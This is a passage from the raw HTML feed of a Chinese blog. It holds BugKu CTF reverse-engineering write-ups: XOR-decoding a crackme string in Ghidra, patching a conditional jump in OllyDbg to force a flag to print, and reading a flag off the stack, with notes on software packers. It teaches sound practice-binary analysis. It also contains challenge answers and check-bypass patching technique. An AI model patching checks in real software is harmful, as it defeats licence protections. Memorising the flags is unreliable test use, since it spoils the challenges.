{</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> (&DAT_00416208)[iVar3] = (&DAT_00416208)[iVar3] ^ <span class="number">9</span>;</span><br><span class="line"> iVar3 = iVar3 + <span class="number">1</span>;</span><br><span class="line"> } <span class="keyword">while</span> (iVar3 < (<span class="keyword">int</span>)(pcVar7 + <span class="number">-0x416208</span>));</span><br><span class="line"> }</span><br><span class="line"> FUN_00401223((<span class="keyword">int</span>)&DAT_00416208);</span><br><span class="line"> <span class="comment">// 这个 local_1b = ZEXT816(0),是???猜测是输入的字符串的地址,后面取前0x13个字符,每个字符都 xor 9</span></span><br><span class="line"> iVar3 = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> local_1b[iVar3 + <span class="number">-1</span>] = local_1b[iVar3 + <span class="number">-1</span>] ^ <span class="number">9</span>;</span><br><span class="line"> iVar3 = iVar3 + <span class="number">1</span>;</span><br><span class="line"> } <span class="keyword">while</span> (iVar3 < <span class="number">0x13</span>);</span><br><span class="line"> <span class="comment">// 6这个DAT_00416210为 "hnl3r=<?=hF@CCGPt"字符串</span></span><br><span class="line"> pbVar6 = &DAT_00416210;</span><br><span class="line"> <span class="comment">// 4这个 local_1b为 输入的字符串</span></span><br><span class="line"> pbVar4 = &local_1c;</span><br><span class="line"> <span class="comment">// 每次比较两个字符,比较xor 9后的输入字符串和 "hnl3r=<?=hF@CCGPt"字符串是否不同</span></span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> <span class="comment">// 4是输入字符串</span></span><br><span class="line"> bVar1 = *pbVar4;</span><br><span class="line"> bVar8 = bVar1 < *pbVar6;</span><br><span class="line"> <span class="comment">// 若二者第一个字符不相同</span></span><br><span class="line"> <span class="keyword">if</span> (bVar1 != *pbVar6) {</span><br><span class="line">LAB_004010c4:</span><br><span class="line"> <span class="comment">// var5记录着第一个字符是大还是小</span></span><br><span class="line"> uVar5 = -(uint)bVar8 | <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">goto</span> LAB_004010c9;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 如果用户没有输入任何东西</span></span><br><span class="line"> <span class="keyword">if</span> (bVar1 == <span class="number">0</span>) <span class="keyword">break</span>;</span><br><span class="line"> bVar1 = pbVar4[<span class="number">1</span>];</span><br><span class="line"> bVar8 = bVar1 < pbVar6[<span class="number">1</span>];</span><br><span class="line"> <span class="keyword">if</span> (bVar1 != pbVar6[<span class="number">1</span>]) <span class="keyword">goto</span> LAB_004010c4;</span><br><span class="line"> <span class="comment">// 对于两个字符串,移动指针向右两位</span></span><br><span class="line"> pbVar4 = pbVar4 + <span class="number">2</span>;</span><br><span class="line"> pbVar6 = pbVar6 + <span class="number">2</span>;</span><br><span class="line"> } <span class="keyword">while</span> (bVar1 != <span class="number">0</span>);</span><br><span class="line"> uVar5 = <span class="number">0</span>;</span><br><span class="line">LAB_004010c9:</span><br><span class="line"> <span class="keyword">if</span> (uVar5 == <span class="number">0</span>) {</span><br><span class="line"> pcVar2 = &DAT_004161e0;</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> pcVar7 = pcVar2;</span><br><span class="line"> pcVar2 = pcVar7 + <span class="number">1</span>;</span><br><span class="line"> } <span class="keyword">while</span> (*pcVar7 != <span class="string">'\0'</span>);</span><br><span class="line"> iVar3 = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="number">0</span> < (<span class="keyword">int</span>)(pcVar7 + <span class="number">-0x4161e0</span>)) {</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> (&DAT_004161e0)[iVar3] = (&DAT_004161e0)[iVar3] ^ <span class="number">9</span>;</span><br><span class="line"> iVar3 = iVar3 + <span class="number">1</span>;</span><br><span class="line"> } <span class="keyword">while</span> (iVar3 < (<span class="keyword">int</span>)(pcVar7 + <span class="number">-0x4161e0</span>));</span><br><span class="line"> }</span><br><span class="line"> pbVar4 = &DAT_004161e0;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> pcVar2 = &DAT_004161e8;</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> pcVar7 = pcVar2;</span><br><span class="line"> pcVar2 = pcVar7 + <span class="number">1</span>;</span><br><span class="line"> } <span class="keyword">while</span> (*pcVar7 != <span class="string">'\0'</span>);</span><br><span class="line"> iVar3 = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="number">0</span> < (<span class="keyword">int</span>)(pcVar7 + <span class="number">-0x4161e8</span>)) {</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> (&DAT_004161e8)[iVar3] = (&DAT_004161e8)[iVar3] ^ <span class="number">9</span>;</span><br><span class="line"> iVar3 = iVar3 + <span class="number">1</span>;</span><br><span class="line"> } <span class="keyword">while</span> (iVar3 < (<span class="keyword">int</span>)(pcVar7 + <span class="number">-0x4161e8</span>));</span><br><span class="line"> }</span><br><span class="line"> pbVar4 = &DAT_004161e8;</span><br><span class="line"> }</span><br><span class="line"> FUN_00401174(pbVar4);</span><br><span class="line"> FUN_00401174(&DAT_00413e3c);</span><br><span class="line"> FUN_004012c3((<span class="keyword">int</span>)<span class="string">"pause"</span>);</span><br><span class="line"> FUN_00401150(local_8 ^ (uint)&stack0xfffffffc);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这个xor 9 的汇编代码如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"> LAB_00401030每个字符都xor9</span><br><span class="line">1030 XOR byte ptr [EAX + DAT_004161f0]</span><br><span class="line">1037 INC EAX</span><br><span class="line">1038 CMP EAX,ECX</span><br><span class="line">103a JL LAB_00401030每个字符都xor9</span><br></pre></td></tr></table></figure><p>我们仔细想的话,这个程序的输出字符串都是先xor9再进行处理,那么我们可不可以自己写个脚本解析一下那些诡异的字符串试试。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="string">"hnl3r=<?=hF@CCGPt"</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="built_in">chr</span>(<span class="built_in">ord</span>(i)^<span class="number">9</span>),end=<span class="string">""</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 结果:age:{4564aOIJJNY}</span></span><br></pre></td></tr></table></figure><p>貌似这个结果挺合理的,统一格式为:flag{4564aOIJJNY},成功拿到flag答案。</p>]]></content>
<summary type="html"><h2 id="利用-Ghidra-进行分析"><a href="#利用-Ghidra-进行分析" class="headerlink" title="利用 Ghidra 进行分析"></a>利用 Ghidra 进行分析</h2><p>window -&gt; defined s</summary>
<category term="CTF" scheme="http://example.com/tags/CTF/"/>
<category term="逆向" scheme="http://example.com/tags/%E9%80%86%E5%90%91/"/>
<category term="Ghidra" scheme="http://example.com/tags/Ghidra/"/>
</entry>
<entry>
<title>BugKu-游戏过关</title>
<link href="http://example.com/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/"/>
<id>http://example.com/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/</id>
<published>2022-10-17T17:25:37.000Z</published>
<updated>2022-10-17T17:26:42.650Z</updated>
<content type="html"><![CDATA[<h1 id="BugKu-游戏过关"><a href="#BugKu-游戏过关" class="headerlink" title="BugKu-游戏过关"></a>BugKu-游戏过关</h1><p><strong>点开程序先试一试:</strong></p><p>玩一个游戏<br>n是灯的序列号,m是灯的状态<br>如果第n盏灯的m是1,它是亮的,如果不是,它是灭的<br>起初所有的灯都是关着的<br>现在你可以输入n来改变它的状态<br>但是你要注意一件事,如果你改变第N盏灯的状态,第(N-1)和第(N+1)的状态也会改变<br>当所有的灯都亮时,就会出现flag<br>现在,输入n</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1665916415046.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1665916415046.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1665916415046"></p><p>无脑试一遍,答案就是8,结果就出来了。当然我们作为逆向选手不会用这么简单的手段。</p><h2 id="查壳"><a href="#查壳" class="headerlink" title="查壳"></a>查壳</h2><p>拖进去 Exeinfo PE 发现无壳,VC++编写。</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1665916640101.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1665916640101.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1665916640101"></p><h2 id="使用IDA静态分析代码"><a href="#使用IDA静态分析代码" class="headerlink" title="使用IDA静态分析代码"></a>使用IDA静态分析代码</h2><p>search查一下字符串“flag”。</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1665917389467.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1665917389467.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1665917389467"></p><p>发现这个字符串对应位置,可以看到</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666010036921.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666010036921.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666010036921"></p><p>底下这个压进栈里面的一堆字符很不对劲,盲猜这写肯定跟答案有点关系,但是它们并非直接就是flag,应该是有什么算法隐藏了。</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666010251618.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666010251618.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666010251618"></p><p>程序本身一定是一堆分支条件,如果成功了跳出来的是flag,失败了就是重开,但是可以注意到,如果输入不在0-8的范围里面的话,就会出现,sorry, n error的字样(如上图)。那我们能不能通过这个地方找到程序的主要分支条件部分呢?</p><p>搜索sorry字符串,双击到对应位置</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666010399813.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666010399813.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666010399813"></p><p>可以看到:</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666010479322.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666010479322.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666010479322"></p><p>程序print的提示信息在这里,输出提示信息后开始进入处理分支逻辑的循环。</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666010448501.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666010448501.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666010448501"></p><p>这里可以清楚看到程序分支分别比较了n<0和n>=8两个方面,不在范围就到达loc_45F551这个位置。</0和n></p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666010794621.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666010794621.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666010794621"></p><p>可以看到后续有一系列的分支条件判断,如果其中任何一个不成立,就跳到loc_45F671,紧接着回到循环的开始:loc_45F4FB,继续重新循环。</p><p>但是如果这些条件都通过了,那就进入这个 call sub_457AB4分支,进了这个函数!!!</p><p>也就是说判定成功后,输出flag的操作是在这里进行的!</p><p>我们回到text view,可以看到这个指令所在位置是:0045F66C。</p><p>我们再来具体看看这个传说中的00457AB4是什么地方。</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666011804963.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666011804963.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666011804963"></p><p>这里上来就是jmp sub_45E940。等一下,这个45E940不就是~</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666012238508.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666012238508.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666012238508"></p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666012255730.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666012255730.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666012255730"></p><p>哦~原来这个 done!!! the flag is 是在这种地方跑出来的呀。</p><p>那么我们直接吧开始那个jl的指令改成jmp sub_457AB4不就跳过了这些认证,直接出答案了吗??</p><h2 id="使用OllyDBG动态调试"><a href="#使用OllyDBG动态调试" class="headerlink" title="使用OllyDBG动态调试"></a>使用OllyDBG动态调试</h2><p>吧这个exe拖进ollydbg中。</p><p>右键,search for,all referenced text strings</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666013649927.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666013649927.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666013649927"></p><p>找到对应字符串,双击就能找到对应的位置:</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666014148396.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666014148396.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666014148396"></p><p>这个006AF4FB就是这个循环真正的开始位置。</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666014201735.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666014201735.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666014201735"></p><p>后面的这个 jmp 指令就是跳转回 006AF4FB 的语句。</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666014574217.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666014574217.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666014574217"></p><p>那么,这个真正关键的跳转句子就是 call 指令了,那么这个006A7AB4就是理论上的输出正确答案的函数的地址。</p><p>记住这个006AF66C,接下来我们稍微修改一下这里的指令。</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666025400558.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666025400558.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666025400558"></p><p>此时:</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666025720458.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666025720458.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666025720458"></p><p>改过之后,不管我们输入几,执行到这个地方的指令总会直接调用函数输出flag的内容。</p><p><img src="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666026890771.png" class="lazyload placeholder" data-srcset="/2022/10/18/BugKu-%E6%B8%B8%E6%88%8F%E8%BF%87%E5%85%B3/uTools_1666026890771.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1666026890771"></p><p>很美好的结果~,这样flag就拿到了。</p><h1 id="知识补充"><a href="#知识补充" class="headerlink" title="知识补充"></a>知识补充</h1><h2 id="关于-Runtime-Check-的参考"><a href="#关于-Runtime-Check-的参考" class="headerlink" title="关于 Runtime Check 的参考"></a>关于 Runtime Check 的参考</h2><blockquote><p>参考: <a href="https://blog.csdn.net/magictong/article/details/6306820?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-6306820-blog-52485425.pc_relevant_layerdownloadsortv1&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-6306820-blog-52485425.pc_relevant_layerdownloadsortv1&utm_relevant_index=1">https://blog.csdn.net/magictong/article/details/6306820?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-6306820-blog-52485425.pc_relevant_layerdownloadsortv1&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-6306820-blog-52485425.pc_relevant_layerdownloadsortv1&utm_relevant_index=1</a></p><p>参考: <a href="https://www.cnblogs.com/0yst3r-2046/p/13130146.html">https://www.cnblogs.com/0yst3r-2046/p/13130146.html</a></p><p>题目: <a href="https://ctf.bugku.com/challenges/detail/id/116.html">https://ctf.bugku.com/challenges/detail/id/116.html</a></p></blockquote>]]></content>
<summary type="html"><h1 id="BugKu-游戏过关"><a href="#BugKu-游戏过关" class="headerlink" title="BugKu-游戏过关"></a>BugKu-游戏过关</h1><p><strong>点开程序先试一试:</strong></p>
<p>玩一个游</summary>
<category term="CTF" scheme="http://example.com/tags/CTF/"/>
<category term="OllyDBG" scheme="http://example.com/tags/OllyDBG/"/>
<category term="逆向" scheme="http://example.com/tags/%E9%80%86%E5%90%91/"/>
<category term="IDA" scheme="http://example.com/tags/IDA/"/>
</entry>
<entry>
<title>BugKu-入门逆向</title>
<link href="http://example.com/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/"/>
<id>http://example.com/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/</id>
<published>2022-10-15T13:41:37.000Z</published>
<updated>2022-10-15T13:45:41.748Z</updated>
<content type="html"><![CDATA[<h1 id="BugKu-入门逆向"><a href="#BugKu-入门逆向" class="headerlink" title="BugKu-入门逆向"></a>BugKu-入门逆向</h1><h2 id="使用IDA进行破解"><a href="#使用IDA进行破解" class="headerlink" title="使用IDA进行破解"></a>使用IDA进行破解</h2><p>拖入IDA,找到main函数,发现答案就在这里:</p><p><img src="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/uTools_1665800055377.png" class="lazyload placeholder" data-srcset="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/uTools_1665800055377.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1665800055377"></p><p>用F5做自动化的反编译后,也可以看到这个代码,实际上就是printf一个字符串。</p><p><img src="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/uTools_1665800150848.png" class="lazyload placeholder" data-srcset="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/uTools_1665800150848.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1665800150848"></p><p>那flag是哪里的?可以看到:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">; Attributes: bp-based frame fuzzy-sp</span><br><span class="line"></span><br><span class="line">; int __cdecl main(int argc, const char **argv, const char **envp)</span><br><span class="line">public _main</span><br><span class="line">_main proc near</span><br><span class="line"></span><br><span class="line">argc= dword ptr 8</span><br><span class="line">argv= dword ptr 0Ch</span><br><span class="line">envp= dword ptr 10h</span><br><span class="line"></span><br><span class="line">; __unwind {</span><br><span class="line">push ebp</span><br><span class="line">mov ebp, esp</span><br><span class="line">and esp, 0FFFFFFF0h</span><br><span class="line">sub esp, 30h</span><br><span class="line">call ___main</span><br><span class="line">mov dword ptr [esp], offset Format ; "Hi~ this is a babyre"</span><br><span class="line">call _printf</span><br><span class="line">mov byte ptr [esp+2Fh], 66h ; 'f'</span><br><span class="line">mov byte ptr [esp+2Eh], 6Ch ; 'l'</span><br><span class="line">mov byte ptr [esp+2Dh], 61h ; 'a'</span><br><span class="line">mov byte ptr [esp+2Ch], 67h ; 'g'</span><br><span class="line">mov byte ptr [esp+2Bh], 7Bh ; '{'</span><br><span class="line">mov byte ptr [esp+2Ah], 52h ; 'R'</span><br><span class="line">mov byte ptr [esp+29h], 65h ; 'e'</span><br><span class="line">mov byte ptr [esp+28h], 5Fh ; '_'</span><br><span class="line">mov byte ptr [esp+27h], 31h ; '1'</span><br><span class="line">mov byte ptr [esp+26h], 73h ; 's'</span><br><span class="line">mov byte ptr [esp+25h], 5Fh ; '_'</span><br><span class="line">mov byte ptr [esp+24h], 53h ; 'S'</span><br><span class="line">mov byte ptr [esp+23h], 30h ; '0'</span><br><span class="line">mov byte ptr [esp+22h], 5Fh ; '_'</span><br><span class="line">mov byte ptr [esp+21h], 43h ; 'C'</span><br><span class="line">mov byte ptr [esp+20h], 30h ; '0'</span><br><span class="line">mov byte ptr [esp+1Fh], 4Fh ; 'O'</span><br><span class="line">mov byte ptr [esp+1Eh], 4Ch ; 'L'</span><br><span class="line">mov byte ptr [esp+1Dh], 7Dh ; '}'</span><br><span class="line">mov eax, 0</span><br><span class="line">leave</span><br><span class="line">retn</span><br><span class="line">; } // starts at 401460</span><br><span class="line">_main endp</span><br></pre></td></tr></table></figure><p>可以发现这里是向内存的栈区压栈了一堆字符进去,然后啥也没干退出了。</p><ul><li><p>leave<em>是汇编语言中用来关闭栈帧的</em>指令*名,通常用于函数末尾。</p></li><li><p>子程序是这样定义的:xxxxx proc ………… xxxxx endp。例如:_main proc near 就是主程序开始位置,_main endp就是主程序结束位置</p></li></ul><h2 id="使用OD的调试"><a href="#使用OD的调试" class="headerlink" title="使用OD的调试"></a>使用OD的调试</h2><p>我们也可以用 OD 进行 动态调试 ,单步运行看看栈里的变化。</p><p>右键textview,可以看到 call _printf 这个指令出现在 00401475 这个地址处。</p><p>在OllyDBG中,我们先<code>CtrL+G</code>搜索 0x00401475 这个地址,之后<code>F2</code>下断点。</p><p><img src="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/uTools_1665802497722.png" class="lazyload placeholder" data-srcset="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/uTools_1665802497722.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1665802497722"></p><p>运行到这里,然后步过一个,发现此时的ESP为0061FEF0:</p><p><img src="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/uTools_1665803340389.png" class="lazyload placeholder" data-srcset="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/uTools_1665803340389.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1665803340389"></p><p>ESP为0061FEF0,然后从 ESP+0x2f = 61FF1F (可以计算器算一下)地址开始填入字符内容,可以在对应内存的栈区观察:</p><p><img src="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/uTools_1665804077954.png" class="lazyload placeholder" data-srcset="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/uTools_1665804077954.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1665804077954"></p><p>看右下角的内存视图,可以看到flag的字段:flag{Re_1s_S0_C0OL}</p><p><img src="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/uTools_1665804048206.png" class="lazyload placeholder" data-srcset="/2022/10/15/BugKu-%E5%85%A5%E9%97%A8%E9%80%86%E5%90%91/uTools_1665804048206.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1665804048206"></p><h1 id="知识补充"><a href="#知识补充" class="headerlink" title="知识补充"></a>知识补充</h1><h2 id="软件的壳的概念"><a href="#软件的壳的概念" class="headerlink" title="软件的壳的概念"></a>软件的壳的概念</h2><p> <strong>1.壳的概念</strong> </p><p> 在计算机软件里有一段专门负责保护软件不被非法修改或反编译的程序。它们一般都是先于程序运行,拿到控制权,然后完成它们保护软件的任务。</p><p> <strong>2.加壳的概念</strong> </p><p> 通过数学运算,将可执行程序文件或动态链接库文件的编码进行改变, 以达到缩小文件体积或加密程序编码的目的。</p><p> 例如:黑客使用病毒加壳,主要是对使用的木马等恶意程序进行保护,从而避免它们被杀毒软件查杀; 程序作者想对程序资源压缩、注册保护的目的,在计算机软件里也有一段专门负责保护软件不被非法修改或反编译的壳; 有一些版权信息需要保护起来,不想让别人随便改动,如作者的姓名,即为了保护软件不被破解,通常都是采用加壳来进行保护……</p><p> 常见的壳有压缩壳、密码壳、加密壳。</p><p> <strong>3.脱壳的概念</strong> </p><p> 对应加壳的概念来说,是指除掉程序的保护(壳),修改程序资源。</p><p> 脱壳的两种方法: 硬脱壳和动态脱壳</p><p> (1) 硬脱壳。这是指找出加壳软件的加壳算法,写出逆向算法,就像压缩和解压缩一样。</p><p> (2) 动态脱壳。由于加壳的程序运行时必须还原成原始形态,即加壳程序会在运行时自行脱壳, 抓取(Dump)内存中的镜像,再重构成标准的执行文件。</p><h2 id="Exeinfo-PE查壳工具"><a href="#Exeinfo-PE查壳工具" class="headerlink" title="Exeinfo PE查壳工具"></a>Exeinfo PE查壳工具</h2><p>这个工具可以查看区段和EP设相当于一个查壳子的工具</p><p><strong>简介</strong>:一种类PEiD查壳程序.它至今依然被更新.使它拥有鉴定相当多文件类别的能力.其整合丰富了PEiD的签名库.<br>官网下载<br><a href="https://exeinfo-pe32.en.softonic.com/">https://exeinfo-pe32.en.softonic.com/</a><br><strong>使用方法</strong>:将需要获取信息的文件拖到exeinfo pe上去<img 